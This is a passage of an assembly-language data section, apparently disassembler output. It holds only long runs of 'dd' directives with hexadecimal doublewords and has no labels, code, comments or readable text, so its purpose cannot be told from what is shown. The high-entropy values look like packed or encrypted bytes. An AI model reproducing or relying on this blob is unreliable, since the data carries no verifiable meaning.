9C00FEFFh, 0EF8B9954h dd 0A82762h, 0A03AF3CEh, 4B6C71ABh, 0BE0B6400h, 6ED3C46Fh dd 779200C0h, 0AC9541B3h, 0A800521Bh, 0E48ACEFFh, 861DFBh dd 0BD2E3F5Fh, 6B672DB2h, 870ED300h, 76D85159h, 0F2AA146Eh dd 200FB010h, 0BB20A242h, 410DE285h, 73804300h, 5ADEF912h dd 155E4DAh, 79062988h, 216AA57Ch, 0E4B8E4C2h, 5DDC6017h dd 0A1D96040h, 99D216h, 0DB615CDAh, 0B1EAEE39h, 34380F00h dd 28EC37C5h, 8E712631h, 0B6144060h, 0C5E0A6CFh, 513B8F00h dd 5D4DEA97h, 48DB28BAh, 86A000F2h, 4C13A536h, 5907F988h dd 613374DDh, 60CD9042h, 1DE0E475h, 0AEC37E6Ah, 0BD5F0EBCh dd 0E7DEA261h, 0D0306068h, 15EDD303h, 0A8C93E61h, 0A19FDAh dd 1321C748h, 57623054h, 0A65B4A09h, 9008001Ch, 56634B5h dd 44461B93h, 14CC2091h, 0C5FE33D4h, 1801C774h, 0DCBFBD1Fh dd 43C54FCh, 0D6A4E012h, 0F33CB86Ch, 0B02502h, 0F96A93DCh dd 5A8201D9h, 0CE627F4Fh, 50E428C4h, 5F001210h, 6DBD979Dh dd 0DD77Ah, 408AAD2Fh, 0D64B62E2h, 0C2EC7512h, 91E78D00h dd 0A1B9D60h, 780E3718h, 110C0080h, 986C01EFh, 3973280Eh dd 8DEEA15Eh, 9F60613Eh, 7EE51E20h, 81DBC067h, 0A89988B9h dd 72362F01h, 6F119E87h, 581E96F8h, 0AC3B525Ch, 1A858A80h dd 8E8927F0h, 93435900h, 46CB4AB8h, 22B9873h, 129DE5D3h dd 0E3C0A5DEh, 3500881Dh, 0B9EB6EAh, 26F06024h, 11AF7C3h dd 0C9E58A6Dh, 11EBF82Eh, 8082D33Eh, 0A54723D5h, 979EE63h dd 4A37D629h, 85540404h, 0E10470CDh, 0FA0B8930h, 903FBB27h dd 2EC64040h, 4B05964h, 0A4ECEBCCh, 0D300D460h, 2C424095h dd 1E65E82h, 941BBC4Bh, 30E05871h, 0C50051C0h, 5C8E4FB8h dd 0ECCA3B91h, 90E7055Ah, 0D6578h, 1DF4A5B0h, 0D1047D44h dd 58C79446h, 8B17A880h, 0F6DBEEE7h, 244E4889h, 4DFC4875h dd 3BB00100h, 0CAA010F7h, 3C307800h, 0B4BE2856h, 867E303Eh dd 2C320898h, 100068ECh, 4647F9F8h, 0DF84A2h, 2F39741Dh dd 0C78ABEF4h, 0A5E37700h, 61EEFCB1h, 8DD8F181h, 0EDA4AC9h dd 0A38090A4h, 35E49F70h, 0B8CA5500h, 1A805059h, 0E99B13C0h dd 3BCE0238h, 2CE0D16Eh, 0F2070DA6h, 0B04EE2F6h, 0EAC5A8A0h dd 533E148Eh, 404D9E99h, 0FAB99D00h, 67C6BA68h, 3B6F7C00h dd 7FB3C006h, 7A29003Ah, 0AF85A386h, 2CB87417h, 430AB500h dd 0DAD35271h, 9FB4A0DFh, 0E4365073h, 8A720195h, 4883B6FDh dd 8C15EC6Bh, 4E23Dh, 4E76E46Fh, 987A27F7h, 9CA600DCh dd 3937F65Bh, 157F7EA0h, 0FB994A00h, 275E85Dh, 6B45002Ch dd 0C66360CDh, 87037E59h, 1B0D69FEh, 80F9CA07h, 0B93783CCh dd 0E3E0A7h, 276FAD4Fh, 0C295821Ah, 882B9200h, 0CDABA3DBh dd 0CEE1C9Ch, 0F2749F6h, 8E2DF480h, 9600219Fh, 0C0661915h dd 9A3F52Ah, 0DC67ECA6h, 0D91B6100h, 534EC865h, 0D1EC96F1h dd 25573A81h, 3AE9AD00h, 12703732h, 140711E2h, 0E8656A92h dd 0A4540EC0h, 97982D24h, 0EA956800h, 7E053CAFh, 0A0DCF7B5h dd 54A66C90h, 0B2E7914h, 8A996B01h, 0D1DFE013h, 0FC429C6Eh dd 473A465Ch, 878C00D6h, 2649E8ACh, 8B5500D4h, 0FA1797DCh dd 5900A6C8h, 849F14AFh, 58E67FE4h, 0EE80D8F6h, 691364A3h dd 826A5613h, 81C7A85Ch, 93F10D08h, 10ECB97Bh, 0B8B74CAFh dd 0E1217A00h, 0F58846A1h, 19CF5600h, 0EB154217h, 0E9A2000Dh dd 0CD04C254h, 5C00815Dh, 2CD57DDDh, 27930B9h, 0C7CFC36Ch dd 0C60C5A9h, 0CE00CA23h, 0BCD87E83h, 0DE5181h, 0A7F0D0D9h dd 47A1EBFCh, 0C4056900h, 9ED3D256h, 0CF1C00CCh, 0B9EE8253h dd 3F73C0BBh, 11193D00h, 79B4675Eh, 54E475h, 0B7807C23h dd 4C7FDB76h, 70955613h, 0C416E447h, 0B3B7FD17h, 0EFBBE8F0h dd 4A61C9Ch, 0C3E8084h, 76AC9EEDh, 6D66CF00h, 387BFDDCh dd 69563C99h, 2316DB80h, 7639CA27h, 0EEDFA90Ah, 0CF04B092h dd 0D22C47B6h, 0F67A84BAh, 3722922h, 0D522C2A0h, 0B4A945E9h dd 30CFFC74h, 7A75C00h, 75114E9Fh, 0DE830786h, 302544D8h dd 0C329B338h, 2387D700h, 0DC7CBCC2h, 2715Eh, 2A9C917Eh dd 0A95DD61Ah, 0B7F07500h, 5F3CD5C6h, 9D440047h, 7C09CEB8h dd 0E703BAB6h, 764B7A32h, 0B414C0D4h, 90160529h, 0C0EAE4C0h dd 326EFFFEh, 0F29C0C00h, 0EBD1C93Bh, 45BF0082h, 0A2EACEA1h dd 0ED0077FDh dd 0F9C36A91h, 7D9A1849h, 45200003h, 17F7C584h, 3E76B355h dd 5E6DD60Fh, 1B3940FBh, 708D22EFh, 0B5E500EEh, 0AED32C73h dd 0AD245309h, 3407CD9Ch, 9582D1E1h, 0D4D0AFh, 168F8E8Dh dd 1D20E68Ah, 5A0040E2h, 79A15F99h, 971577h, 0FA0DEC2Bh dd 0AC708E20h, 13C4A58h, 72887DADh, 8405896h, 1C395791h dd 3DFF7971h, 0B6302501h, 808595BBh, 3A4E2871h, 3F95550h dd 0C6A4B775h, 1DE370B2h, 0BDE4A0E5h, 0D6857801h, 0F05CB721h dd 52100886h, 29F0201Fh, 84C310DCh, 7AE2AB2Ah, 3A140620h dd 68864AFBh, 56F41A1Ch, 36F98546h, 37447959h, 8C20558Dh dd 8C002B59h, 0B46F865Ah, 435D08h, 0B115BB75h, 0AFAA4828h dd 0B72ABE01h, 0D7F9D862h, 0C83E488Ch, 5C3A41C0h, 811380C5h dd 0FEE1BDDEh, 192E0004h, 0B657ACEh, 0F005088h, 14A90A06h dd 4373E1h, 0EE492B4h, 0D204028Bh, 0D75CB600h, 0DADF537Bh dd 303603F5h, 0F3253149h, 3F88E9A0h, 0AE95FE01h, 0BFA42FB1h dd 3ED2DBD8h, 2587D817h, 30E1CA5Ch, 0F1D31AA1h, 7A2BA50Eh dd 8C5960A6h, 32A4850h, 2816DC34h, 5F89A75h, 361754EDh dd 0C8DE35C5h, 0D6800442h, 8A5EE2A9h, 2230EEE4h, 0B8501958h dd 0B350C02Ch, 7F7D8A2h, 7B290A1Fh, 5397B283h, 412ED93Eh dd 613DCF10h, 116A9030h, 19C44FDh, 0B749F05Fh, 9879D884h dd 97218308h, 3C9C0540h, 0E8BCBC6h, 89F155Ch, 4780AE7Bh dd 2F69FD9Fh, 0D75907C4h, 4F5A9432h, 0C76D2178h, 0E843FC07h dd 31200ABDh, 0AE7FF03h, 0D7F0539Eh, 0CF1FDC4Ch, 298C2AE4h dd 7331971h, 18369B75h, 55588168h, 5E5D003Dh, 1709834h dd 59A46FB3h, 0D1A517BBh, 140680Ah, 56ED6C7Dh, 0B97182BDh dd 0E4A8A400h, 0BC5C0532h, 0DA3D0Ch, 592C6A80h, 9312759Ah dd 0A04049C1h, 0D1407EECh, 0C83C0586h, 624692DEh, 0A601261Ch dd 8C4084E3h, 1051C52h, 0BEAB20D9h, 426134CDh, 43306684h dd 0F060119Ch, 0E629D71h, 5E9C4B98h, 0F0803140h, 0D1C0F550h dd 0A66FB6CBh, 79FF0020h, 0C9EDBF88h, 0DD491639h, 2FC4002Ch dd 38C86917h, 9FE6000Fh, 36CB035Eh, 8CA455A2h, 0C7F2F37Eh dd 0CD93C03h, 0B0C3127Ah, 0F2CCFF90h, 0DCB900DFh, 68457E61h dd 3B54EFB1h, 5A7775B8h, 13A48950h, 0F9FDE201h, 0DC15C6A8h dd 0C7B3819Ch, 0E05E412Ah, 455636F8h, 0F45D1C98h, 5A100320h dd 80DE542Ah, 39ADDC91h, 8A09D0AEh, 0F000029Eh, 0BE6B231Bh dd 8E087490h, 5DB57Bh, 0F2D74C5Fh, 0FE1F8681h, 51DF8432h dd 416C1140h, 128FBC3Ah, 55B4E3Dh, 8161E318h, 839E7B53h dd 70195341h, 0C3EFD02Ah, 61C60005h, 1AF1A164h, 0E0642BDh dd 987A82B2h, 36720031h, 5FFED1B7h, 5C00ABA4h, 98C3CE6Bh dd 597E3Dh, 689B3CFCh, 57310D61h, 8F399D62h, 0ACE4A089h dd 14F37A3h, 3A163208h, 204D8183h, 40CD041h, 7686F0B4h dd 683C1E84h, 0BBCB8CADh, 8A14AFF8h, 1E8803D9h, 70C73308h dd 821175CCh, 0C0516CC0h, 70574ACDh, 8FA2A863h, 3F426E0h dd 48AC00BEh, 5F1A0F36h, 7A017F8Ch, 0F0616933h, 0EBD8B739h dd 9F0A048Ah, 0D0211353h, 0B3C30404h, 94C60E01h, 306C9093h dd 0DB77E8h, 0A85B7A9Dh, 0D687451Bh, 0B8A26Ah, 6281C311h dd 0EB5E442Ah, 5BEC2DF4h, 0EFAE4C2Ah, 3B658300h, 8A3AD5BBh dd 0D882B432h, 9346831h, 0F1C748E2h, 73AD312h, 0E1B6F0B8h dd 263C61CFh, 1446F03Ch, 0E587022Ch, 75BA5829h, 31991863h dd 3AC6251h, 569D8009h, 4420B730h, 13B353A1h, 20F67482h dd 9ED7BBC4h, 3BA72084h, 0CE86E20Ah, 95038C98h, 26331304h dd 115C96B8h, 0ED6E8062h, 431FB3A0h, 1D1822A5h, 5FED667Bh dd 491180DFh, 7CA8AAC2h, 0B4233F07h, 0A2C63153h, 5A8F24B1h dd 0A9E78038h, 0B59E8D64h, 180F6A90h, 0AE40118Eh, 572AA0D4h dd 19365FE9h, 482F6B7Bh, 7C80DA41h, 0A69876DDh, 2C7E6302h dd 68E258EDh, 303FCD4Ch, 4629B67Bh, 130E05AEh, 6FCA4225h dd 0F557E0D4h, 7B41B235h, 28C090D8h, 7EAD5FC9h, 4DC700D3h dd 0A3A8B161h, 10036B26h, 6E60697Dh, 0F0082A2Bh, 0C1F50C34h dd 9F481FACh, 166B4605h, 4C98495Dh, 68FD049Eh, 325A3C2Fh dd 0C64420B4h, 400089FCh, 0F159103Fh, 4826A7BEh, 29F85851h dd 1C7AA943h, 4024B372h, 87900312h, 50D99AAEh, 0D820B9F8h dd 913B41BDh, 9C8047B0h, 0CC2F62FDh, 9E225943h, 0FCC46E00h dd 0CEBEE771h, 15780456h, 85395C47h, 0BBC8478h, 6402BE34h dd 6E216B9Ch, 702521B7h, 0F0179C60h, 30B061CAh, 0D2EAB210h dd 679C3848h, 2F51DD25h, 0B245FD0Ch, 1C8812EFh, 97C1727h dd 10FC54h, 0C1ABC6FBh, 76DE4DA5h, 36AF30C9h, 6E53C5B9h dd 0E2512203h, 847B3Dh, 9428EFC9h, 0A133A9B3h, 9F775AECh dd 4E0B6C92h, 136E8F61h, 7FDD90E8h, 0E7800E9h, 0F37BFE77h dd 0EB034918h, 13A8B283h, 519900D2h, 174F0AF1h, 0FD006DD6h dd 14A470E2h, 1A56726h, 0E48F5646h, 4A15E119h, 1C423F4h dd 5E3F2A5Fh, 882B180Dh, 2A50744Ah, 4770C784h, 81047858h dd 0BCEEC21Bh, 0E41DF8h, 0C1602E6Bh, 0B74C4137h, 0D900637Fh dd 0EC65D2F6h, 1F78FB6h, 0AFF33C64h, 30DB5304h, 8B009C14h dd 0CB9B1AF6h, 7524D9h, 1254C088h, 0FED31B0Fh, 428D269h dd 6B605714h, 0B323A1EDh, 3071117h, 0FDED637Eh, 0ACAB52h dd 439B2EB1h, 72188938h, 55BA8B00h, 0EA62D2C0h, 0AA66289Eh dd 0ACD31E90h, 8C6975D4h, 3FF8CA20h, 365B8400h, 5A6A6EFCh dd 53B0F79h, 8A229FB5h, 404370C4h, 757EF0E0h, 0FB095092h dd 544EFEh, 0C7BB5BF9h, 0B9A20BA4h, 80843E06h, 9C416060h dd 61F02362h, 96018911h, 4F1C9C49h, 1AA18034h, 130F8EBAh dd 8D4800E1h, 66AB366h, 0BD01DC04h, 983AE0D3h, 0C0230795h dd 1F30A0B2h, 0C792028Dh, 616646E2h, 0B957E0A2h, 0D813C8C0h dd 0DB8090A9h, 0CDF007ABh, 8202DD21h, 6A64E97Dh, 5DBD87D5h dd 2B607CD0h, 0C47CA5ABh, 0A0DD605Fh, 0F6DE03B6h, 0B17BEB99h dd 4C0DA900h, 311CBCA9h, 74A57ACFh, 1CD5487Ch, 276C4300h dd 993A322h, 0C8586A09h, 0F82088D9h, 0D1504826h, 5ED32367h dd 9CED6200h, 86A4FFB3h, 770944h, 0ADF5EE1Ah, 0EAD8064Ch dd 0B7260204h, 0C87E6Fh, 817B0985h, 3498BF09h, 840043BDh dd 13889C12h, 906C4DDDh, 0A66B1C5Bh, 684505F3h, 30C84435h dd 8114C758h, 7006312Eh, 6B01A67Ch, 0F642C9E9h, 8422A566h dd 91553113h, 50547ABCh, 5C6076A0h, 0EECBD724h, 0B3CDA809h dd 0C3F500h, 0CEF45Eh, 2A591300h, 9EF8201Ch, 0AA7B5C11h dd 63830A00h, 0A6880110h, 19C099F8h, 18E7D851h, 0F4780033h dd 0AA6DAB64h, 4200C786h, 38086945h, 14816843h, 0D4E5B724h dd 50522B09h, 0D3374460h, 0FCA49FB0h, 69025D46h, 27B393EDh dd 700010E7h, 0D985ED61h, 9C4E0E95h, 0F0421209h, 806802A6h dd 0E82EB7BEh, 38000A0Ch, 7B35E3E1h, 0B371C297h, 3050828Ah dd 0A070902Ah, 4A0C8100h, 0D93A0E3Ch, 57D80265h, 9552BC5Ch dd 315D6840h, 59928A13h, 334D1892h, 3034FDE8h, 915A9C21h dd 9A68039Bh, 0C8C931FDh, 4508DDh, 63CABECBh, 248518D8h dd 0C7601658h, 96F1361Eh, 71D4B8B9h, 49976A7Eh, 0EB060085h dd 4ADAA232h, 6125A100h, 97452B4h, 0F02200EAh, 1DA3D7BAh dd 3D3B3263h, 0C4E9ABDDh, 802F6812h, 0F0078C77h, 0CEB9DA19h dd 0B803B5B0h, 258B895h dd 2B647C45h, 0B889084Fh, 410B0483h, 30D8C812h, 8CC15024h dd 0F46140BBh, 2BF16072h, 0BBE0CA9h, 0A1FA1926h, 4E0F7C00h dd 0F4903CF8h, 61D5F416h, 2F237C3Bh, 0A7AA803Dh, 0B26C7A84h dd 0F9DF3B0Bh, 805455B8h, 6D7D00ECh, 34E8B61Eh, 21008BDAh dd 0C5C153C8h, 1D7B70Eh, 0E526ADBFh, 0D5DB106Eh, 9BC7E4B8h dd 0FA71890Bh, 9C204044h, 0ABD828E8h, 175946C0h, 1804ED6Dh dd 0E4E2A507h, 0EE257C80h, 82101597h, 90138EE0h, 0D6A8C855h dd 0B2A09AE8h, 0AB25CD60h, 3524A2C5h, 7A4BC04Eh, 0BD31C085h dd 0E0FCB18Bh, 902FE600h, 96E1A5B9h, 0A62901BBh, 5F7FAE72h dd 404C294Ah, 0A0440DCh, 3C85BEA5h, 345EECC0h, 0A82C4CEFh dd 2E87147Bh, 0F33EF8B4h, 0C6B79089h, 0A6E1040h, 0AABFD804h dd 0BC8138B8h, 7B0102B6h, 48C5105Bh, 0FBE900C4h, 495011DAh dd 5C1CED91h, 0CC0058C7h, 35F5630Ch, 8AF91A48h, 0FCCA41AEh dd 31EBE460h, 8357A18Bh, 7C9A1982h, 784AD937h, 3B78944Ch dd 58F47000h, 0F0566396h, 0C6F2018Eh, 771287C0h, 5D829C8h dd 38626B58h, 27C6E890h, 0E20C065Bh, 0E0A54AAEh, 40C0A307h dd 0CDA06510h, 7618694Bh, 0AC622EE9h, 6AB582C4h, 44C82EAFh dd 202C0452h, 254290A8h, 9C401891h, 69F05B16h, 9310108Bh dd 22402C4Ch, 3F40D024h, 56E3D2h, 0A360435Fh, 65D77B09h dd 9C01177Dh, 4E388667h, 2F008F3h, 70921683h, 0F4E82016h dd 3902F2AEh, 20EA943Ah, 8004E3F0h, 0D52E0C4h, 6C90F658h dd 0F7820081h, 8D00243Bh, 17705914h, 734E6BFEh, 38661E4Dh dd 17EBD28Eh, 0DC5D08h, 0BC3506D7h, 0D4A4505Dh, 0A95FCE00h dd 7073D95Bh, 31D00ABh, 4FBF2E83h, 0A627EC48h, 0BE740171h dd 60FE872Fh, 0C9BCD2Ch, 0B2CC7088h, 9E13F08Ch, 3444AEBAh dd 27406A2Eh, 6E5D63BCh, 0E9D5AF31h, 306D03D8h, 9020B451h dd 5AE10B45h, 9C916B9Bh, 7EA5184Eh, 942F10FDh, 80A6C85Ah dd 0EBFCCD67h, 6600440Ch, 0A117A0B8h, 0B9506309h, 0A1D00DCh dd 0AB3EDE6Fh, 26C5E800h, 43334A61h, 47360131h, 0D4B290F5h dd 0C31A451h, 184674h, 33DBA92Dh, 39AF813h, 7EE426B2h dd 0A81657F2h, 8017BD7Fh, 9B230C2Fh, 65491900h, 0C52A0Fh dd 0B44B09Ch, 0D364CDE2h, 0A8C6259h, 0B4E7133Dh, 204E1E8Fh dd 0AEBED647h, 56F91EDDh, 0CD8080A9h, 32D0398Ch, 0C64D72Ch dd 76E2C43Eh, 0E44A5086h, 962B01F6h, 0B4BFBE5Eh, 0CFFC41F5h dd 0A1EC3339h, 780CA7E7h, 0C37F5498h, 4D130D80h, 0C00FC23h dd 7917BD6h, 4C003A49h, 8F894F99h, 2E93BC0Ah, 630C63BDh dd 4CA8D7DCh, 0B073BAF7h, 0A3411004h, 20812236h, 546802A5h dd 0C9389081h, 38F42174h, 621309E8h, 0EA4005FEh, 0E8FCEC54h dd 0A6008C60h, 47408BE8h, 32827520h, 7B60571Ch, 0F00014F2h dd 4A32B65Dh, 26470B83h, 0A694EF50h, 0E200DEF8h, 1455758Fh dd 257C2158h, 0B490E42Fh, 1200C347h, 82252939h, 0D72DCBh dd 7E54EDC5h, 0E71F380Ch, 0C8DB122Ah, 0D92A7C14h, 987100A9h dd 0FCFB5345h, 328CA03Ah, 7D558137h, 0BB2F00B0h, 0B6CFF9Ah dd 312300C1h, 9E93DA88h, 0C749A8F8h, 2A668004h, 8C755E58h dd 11F42E54h, 41001490h, 6B7CDB38h, 1244FF3h, 53B426CFh dd 444915AFh, 0C8F810C8h, 619C42C0h, 448C79F0h, 4E589D52h dd 0EF721FE5h, 83BB0E42h, 0C8E4E07Fh, 48035C37h, 5EC0D038h dd 32CD42Fh, 29F15098h, 8C13E1h, 0A5F9890Dh, 310F7521h dd 0AC336791h, 949D3059h, 0FF465E8Ch, 2F9E3300h, 67FE55ACh dd 0EC875B1Fh, 6F7C3D02h, 4188C0DAh, 542F0163h, 1ABCD85Ah dd 0C4147568h, 0F0A8AB7Eh, 0BEC0E2E1h, 0A043DE0Fh, 471E1EF8h dd 503393FAh, 6C239CA0h, 669C4501h, 651841F0h, 6F4DAA88h dd 50A5589Ch, 891485D2h, 0EB27D8DCh, 0F8FE48h, 158EC5E2h dd 5F6EB734h, 23A42F60h, 0A66E0086h, 0EB2F5A46h, 0F8D0DA30h dd 2AB1E9F5h, 2598F4D9h, 0E0800F13h, 60B3364h, 25DD80C4h dd 132410F0h, 3ABE82C8h, 40523CCh, 83DF5230h, 0C6D02617h dd 48B1B26Eh, 1B2B6403h, 0CAF10BFFh, 6869567Eh, 0D9051088h dd 2B6D00B9h, 0CC92EEA6h, 9400F037h, 68C45C58h, 380310Eh dd 0D876A0F2h, 39026228h, 0B1E0753Dh, 9B5881DDh, 68D22ED7h dd 20B06ED8h, 1496A86Ch, 620465Eh, 9892B9Fh, 0D9D70A80h dd 1BAC6F25h, 5FE27155h, 7092444h, 40797EF0h, 241C5E08h dd 70373Bh, 4D0BBE38h, 7450B76Eh, 18B8E1B4h, 0F8994B09h dd 7EA881A6h, 0CECC7194h, 317B2F2Eh, 0E8A24809h, 0DD003B39h dd 0BC594BCBh, 66280FECh, 2E6C0152h, 35B28A3Dh, 0F08036D0h dd 0B0D82E03h, 0A0AD0B24h, 889855C6h, 6001E7Eh, 400D64EFh dd 2C953F11h, 7851B9h, 0DE19C663h, 9F4802FDh, 8C61FC98h dd 0F4016CF6h, 0F501709Dh, 0F040B3D6h, 0B0601052h, 0B4280000h dd 5916F626h, 1B14679Eh, 5B03E4Bh, 9F0E87FAh, 0E218AC90h dd 7C6374ECh, 0D0B25D6Fh, 5934C809h, 0C48F0C29h, 64025288h dd 0A03350E0h, 0BE721CE8h, 23D705C3h, 0E3D6C29Fh, 30B3A24Ch dd 1209B67Fh, 59615731h, 824C11BCh, 0C16DFD9Bh, 70785937h dd 0FCC369A0h, 9AA12501h, 57667EB0h, 0E39E244Eh, 5FC80D00h dd 99C7AF9h, 9010934Dh, 757C1468h, 9A735904h, 14B95C31h dd 205CE93Dh, 3008C70Ah, 0CBA516B4h, 0C003C85Ch, 0D30DFB0Bh dd 0C8FEF3Fh, 503BBB2Ch, 492F6055h, 97B74F2Eh, 0EB22E50Bh dd 0CCEB80C0h, 4A69E96Ah, 23649158h, 532680EFh, 0E8C02D68h dd 0E84150F1h, 0C16307C8h, 0FCE5B065h, 2BE9AD31h, 5A04685Dh dd 7D01F497h, 20390504h, 0DE4D13B0h, 0FEBA0F08h, 0A5E9803Fh dd 42BBE6Ch, 8ABFD80Bh, 8ED4C516h, 0A92984CCh, 500FB930h dd 25A30E1Fh, 525CC642h, 6860D828h, 0BE941A66h, 0B5DB5B80h dd 6F327F1Eh, 9ACF8800h, 2BE382A6h, 0F9462EA3h, 0E7215E08h dd 599482A7h, 587818BCh, 28C56226h, 28F29B12h, 0C1911A10h dd 0F05C9C3Fh, 260BB6E9h, 0DE032694h, 0EABEEE7Ah, 0F00C482Ch dd 999E2486h, 0AA7E09A8h, 22154061h, 309BF29Ch, 0DD006945h dd 0EE66E486h, 918F6B4Dh, 0AC710054h, 4E8B70E3h, 0F4C43A2Ah dd 0E5247D14h, 0F83A4EE8h, 0E001823h, 0FCA644ABh, 3695028Ch dd 815AE14Dh, 0E283CC56h, 34756AEh, 2027F5E0h, 0A0E45B78h dd 0A0212E78h, 0C5253Eh, 78606564h, 0C71D79Ah, 0F6F5E213h dd 0B323E03Ah, 2231B504h, 10401CF3h, 865CC2h, 2B16A822h dd 4C405233h, 0F7938B9Ch, 9D952ABBh, 443505DCh, 85803213h dd 0F2A4F254h, 1301302Eh, 23346901h, 4863292Ch, 0A740222Bh dd 0C757D8C8h, 7FAA3060h, 0C66F9BCh, 44644EA5h, 0C139F550h dd 0A9599288h, 74669888h, 4D2A0042h, 9C8819A8h, 0A52CC689h dd 6B44E458h, 9FF270E2h, 1880B530h, 400FD2A1h, 0A4265215h dd 24881886h, 40D244F5h, 0F05A9DBCh, 0FEDC008Bh, 90D04D4Bh dd 500B14FBh, 8AD6DF04h, 571D24C4h, 6F7B4831h, 0EB000439h dd 419994Fh, 5C017AD1h, 0F5E0AD22h, 71E9590Dh, 9E085462h dd 630E38BAh, 0B057F65Eh, 8C75E42Fh, 5354BF02h, 0F28CB4A2h dd 0D90C604Ch, 0EF599D88h, 855E1300h, 0B0894BF9h, 5E073E6h dd 0E3B6EC5Dh, 0C83CB4D6h, 2A63048Ch, 0BC6D5E43h, 5816B004h dd 0F8AC002Ah, 73E3F7D1h, 0D0A1C1D6h, 421610ABh, 0D47500E2h dd 0C71D53EFh, 6324AF91h, 8B039FFAh, 2544F2EEh, 9C4D5499h dd 0E03F7D62h, 905C2B00h dd 0D17C917Ch, 711886h, 86FA83Ch, 37D29F70h, 0A8A020BAh dd 3B80E703h, 56B025A2h, 0BB1870E0h, 9EE1C605h, 0ECC142D0h dd 1DEDBE7h, 0F5EAAFFAh, 0EC3C32h, 4E5A13D3h, 9D18356Ch dd 0D61F34B0h, 401C8C8Ch, 989DC088h, 8CC9EA68h, 0B3D4D813h dd 0CF749008h, 2C05ED29h, 6A0624Fh, 0ED607921h, 462FD8h dd 64E6F062h, 269F8AE8h, 0B8804E6Ah, 1110172Fh, 6778809Fh dd 2AB2588Bh, 0B46393h, 0E4AE56A3h, 732E17C0h, 96FF7A04h dd 0ACBC5DB1h, 48C0CBCh, 2F61697Fh, 1CD38423h, 0D48245BCh dd 22D0275Ch, 7040DE80h, 2184D1B9h, 8EBD169Ah, 0F65E452Ah dd 0FA1CB438h, 5320002Ah, 8AB38B78h, 0F8926A14h, 61B1E46Eh dd 11E15E9Ch, 0A333043Ch, 0C8C1CFF1h, 210BC5D4h, 2C352B20h dd 4172ECF4h, 1882E8B5h, 0FDF1118h, 9047D778h, 0AEF90264h dd 0A7DD95C6h, 7483E062h, 50150A4Bh, 4A982050h, 4D5E898h dd 10EF03C0h, 92A8ACE1h, 41A10804h, 0EE3171Fh, 9F0902CEh dd 143154D8h, 0CF58285Bh, 0C3838640h, 9F5A18E0h, 2A1318ADh dd 1373FB3Eh, 8CF72342h, 0CC1007C0h, 64031396h, 0BFE49E9h dd 0E040E334h, 1FFD8ECBh, 923952h, 174AABA8h, 3E00B16Dh dd 6EAE151Dh, 0C9132Ah, 38644095h, 0E207D29Ah, 0BEDCFD04h dd 0F4852F6Ch, 0B17A9404h, 0BD6FFE40h, 0D0A8CC82h, 218E9A8h dd 8B385D60h, 1C34BEC0h, 2CB6891Ah, 1BA29CE0h, 409022Ch dd 6B45823Eh, 4BCF7B2Dh, 9AC80A28h, 7B204CCDh, 9D327DAAh dd 80A51198h, 4E3CA265h, 98932795h, 2919897h, 32B79181h dd 1EE0C441h, 0AC275102h, 0B51836AEh, 0DCB48028h, 0E99D79AAh dd 76985612h, 9F903470h, 609C49C2h, 58F4BB0Ah, 0B5D500CCh dd 0B8B7FAF9h, 63FC201Ch, 405556CFh, 3CE2E1C4h, 86882531h dd 1FECF4E6h, 0DA491776h, 0E8D8D494h, 0A9432Fh, 286B0612h dd 24B2F6A3h, 84B85F51h, 0E55269Eh, 0C8CB73F9h, 67CF65C8h dd 0DC53E0ECh, 50F290D1h, 679B1FEBh, 0B73940D9h, 46C9775Fh dd 817C904Ch, 1BDE53F8h, 17C617F8h, 313C1D0Fh, 806B8B98h dd 0EBA2C508h, 4CD772Eh, 0C758614Dh, 0E8F912h, 794324AAh dd 9A1D57h, 0CCDC6E99h, 0CAD1CD8Dh, 0ABC9A91Eh, 24132B97h dd 0B09FC8A4h, 7E42000Ch, 3C439692h, 1A976B58h, 30AC64D4h dd 0D1692C13h, 16018FE7h, 38CA5084h, 31D0E8B2h, 8CC39F4h dd 728B8804h, 0F198B246h, 290CA7E5h, 0BC9DEE28h, 0BEB41895h dd 2733F0CEh, 10E8547Fh, 0E083C252h, 12E5E2F6h, 216BEC0Ah dd 30888AC0h, 9374BD64h, 0C15A30C4h, 80E80C01h, 4C007B12h dd 0E20939EDh, 0B27E2AFBh, 28C401B8h, 1EC8266Dh, 470B20E9h dd 6B91BB04h, 0D0A04673h, 0A0028C4Bh, 0AC2F6EFDh, 503C745Ah dd 0FC00C872h, 0BA34CFB3h, 69ED009h, 40C70C5Ch, 134BD05Ah dd 131C8888h, 0B439F5B2h, 0C32989E8h, 5680C098h, 33B4AE8Fh dd 2EE23FF3h, 0D028D580h, 769F6684h, 73F1EB07h, 45509096h dd 0FF064AEh, 1CB729D8h, 31BFAD80h, 5094F323h, 0A8827502h dd 18745270h, 1897B80Bh, 8D582052h, 0B0A2A40Ch, 8E300AF2h dd 0F351099Ch, 0B40E3337h, 34DC758Bh, 0BCA0EA13h, 6A527D2Bh dd 608C7088h, 34AEA66Bh, 22B123Fh, 7EED281Eh, 0CCE32FB0h dd 9FE0FE3Dh, 9C2CC72Ch, 7C09549Bh, 0D9745188h, 0D5189Bh dd 0E8375CAFh, 7AA3CC35h, 3F983051h, 0F01CA013h, 0A401C13Bh dd 0C0A4BF13h, 3D59C07Ch, 300CC975h, 20B56703h, 0CFFA389Bh dd 36452900h, 0A3D7BBBAh, 14318E01h, 0D6B26E6Bh, 4D7A8424h dd 53967C80h, 423CE7DCh, 30B3A26Ch, 6D547AEAh, 7B7644ACh dd 14484B00h, 6EF5D4BAh, 5D8FE52h, 0FE4C54EAh, 0C3D40B59h dd 74607CCDh, 0E49B086Ch, 0BB4C6Eh, 4166C899h, 88B48A0h dd 9ED7211Fh, 0FB222840h, 0D91009BFh, 0E89188h, 0DB13F49Eh dd 0DC004DDEh, 6D49F106h, 5A540227h, 5E89FC9h, 3D40A476h dd 4872AFDh, 0E4513891h, 31708C7Ch, 2C97644Bh, 0C2E38BFFh dd 6BB4309Ch, 272A39A1h, 2F4A40CCh, 0A92B107Ch, 2DAC65C1h dd 0F05430E3h, 85A16E12h, 501A7C0Bh, 821512F0h, 0EA584184h dd 83DEF6D4h, 0BFC47988h, 94A0AD40h, 0E29B8B3Ah, 0DA312689h dd 7865054h, 0F021B66Eh, 987C0088h, 0CD0BC73Ah, 58A0E715h dd 0FB0044A5h, 0EB2A68F8h, 7A3B64Bh, 0ABA7453Ch, 0F76F3014h dd 0A19F7B39h, 0C6F9B988h, 8651FCh, 0C735086Dh, 0F08E22BBh dd 5E6ACD00h, 61E67533h, 0FC24E99Eh, 80F8BE16h, 0D6BFA3ADh dd 60037328h, 9F79641Bh, 50FC5475h, 0F4917Ah, 506BEA3Dh dd 0F002D872h, 68016A74h, 0D63C7616h, 